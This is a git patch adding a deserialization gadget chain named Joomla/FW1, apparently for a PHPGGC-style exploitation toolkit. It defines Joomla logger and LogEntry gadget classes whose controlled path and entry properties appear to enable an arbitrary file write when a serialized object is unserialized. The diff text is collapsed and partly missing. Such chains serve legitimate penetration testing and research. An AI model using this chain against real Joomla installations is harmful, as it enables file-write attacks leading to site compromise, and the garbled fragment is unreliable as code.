From d6d3748d594812306f2f67f75f2bee539f1ad086 Mon Sep 17 00:00:00 2001 From: mcdruid Date: Tue, 26 Nov 2024 19:21:41 +0000 Subject: [PATCH] Joomla/FW1 --- gadgetchains/Joomla/FW/1/chain.php | 23 ++++++++++++++++ gadgetchains/Joomla/FW/1/gadgets.php | 40 ++++++++++++++++++++++++++++ 2 files changed, 63 insertions(+) create mode 100644 gadgetchains/Joomla/FW/1/chain.php create mode 100644 gadgetchains/Joomla/FW/1/gadgets.php diff --git a/gadgetchains/Joomla/FW/1/chain.php b/gadgetchains/Joomla/FW/1/chain.php new file mode 100644 index 00000000..534cd7e6 --- /dev/null +++ b/gadgetchains/Joomla/FW/1/chain.php @@ -0,0 +1,23 @@ + true]; + protected $path; + protected $deferredEntries = []; + protected $format = '{F}'; + protected $fields = ['F']; + + public function __construct($path, $deferredEntries) + { + $this->path = $path; + $this->deferredEntries = [$deferredEntries]; + } + } +} + +namespace Joomla\CMS\Log { + class LogEntry + { + // Setting $clientIP avoids \Joomla\Utilities\IpHelper::getIp running + // but the Gadget Chain seems to work okay either way. + // public $clientIP = 'i'; // !isset($entry->clientIP) + + public $date = '1234567890'; // strlen($entry->date) != 10 + public $time = 't'; // !isset($entry->time) + + // This property could be called anything but must match the values of + // the $format and $fields properties of the FormattedtextLogger. + public $f; // #[\AllowDynamicProperties] + + function __construct($f) { + $this->f = $f; + } + } +}